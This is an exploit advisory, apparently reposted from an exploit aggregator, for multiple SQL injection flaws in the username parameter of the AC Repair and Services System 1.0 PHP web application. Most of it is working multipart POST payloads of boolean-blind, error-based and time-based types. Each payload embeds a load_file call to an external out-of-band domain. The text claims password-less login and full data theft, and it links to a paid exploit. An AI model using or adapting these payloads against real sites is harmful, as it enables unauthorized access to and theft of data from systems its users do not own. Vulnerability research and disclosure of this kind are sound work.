Exploit for AC Repair and Services System 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:190298
# Titles: AC Repair and Services System -
    ARSS-1.0-Copyright©2025-Multiple-SQLi
    # Author: nu11secur1ty
    # Date: 04/05/2025
    # Vendor: https://github.com/oretnom23
    # Software:
    https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
    # Reference: https://portswigger.net/web-security/sql-injection
    
    ## Description:
    The `username` parameter appears to be vulnerable to SQL injection attacks.
    The payload '+(select load_file('\\\\
    dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+' was
    submitted in the username parameter. This payload injects a SQL sub-query
    that calls MySQL's load_file function with a UNC file path that references
    a URL on an external domain. The application interacted with that domain,
    indicating that the injected SQL query was executed. The attacker can get
    all sensitive information from this system when he attacks it online, He
    can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can
    crash or get every sensitive information from him!
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    - SQLi:
    
    ```SQLi
    ---
    Parameter: MULTIPART username ((custom) POST)
        Type: boolean-based blind
        Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
    GROUP BY clause
        Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="id"
    
    1
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="firstname"
    
    admin
    ------Web
    ...[SNIP]...
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="lastname"
    
    admin
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="username"
    
    admin'+(select load_file('\\\\
    dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' RLIKE
    (SELECT (CASE WHEN (8762=8762) THEN '' ELSE 0x28 END)) AND 'HELG'='HELG
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="password"
    
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="img"; filename=""
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
    BY clause (FLOOR)
        Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="id"
    
    1
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="firstname"
    
    admin
    ------Web
    ...[SNIP]...
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="lastname"
    
    admin
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="username"
    
    admin'+(select load_file('\\\\
    dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' AND (SELECT
    1352 FROM(SELECT COUNT(*),CONCAT(0x71706a6271,(SELECT
    (ELT(1352=1352,1))),0x7162707871,FLOOR(RAND(0)*2))x FROM
    INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vSKR'='vSKR
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="password"
    
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="img"; filename=""
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="id"
    
    1
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="firstname"
    
    admin
    ------Web
    ...[SNIP]...
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="lastname"
    
    admin
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="username"
    
    admin'+(select load_file('\\\\
    dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' AND (SELECT
    9570 FROM (SELECT(SLEEP(7)))xrht) AND 'Serq'='Serq
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="password"
    
    
    ------WebKitFormBoundary66yhBXoK0ntvP31K
    Content-Disposition: form-data; name="img"; filename=""
    ---
    ```
    
    # Reproduce:
    [href](https://www.patreon.com/posts/ac-repair-and-1-126001786)
    
    # Buy an exploit only:
    [href](https://satoshidisk.com/pay/CO6qme)
    
    # Time spent:
    03:15:00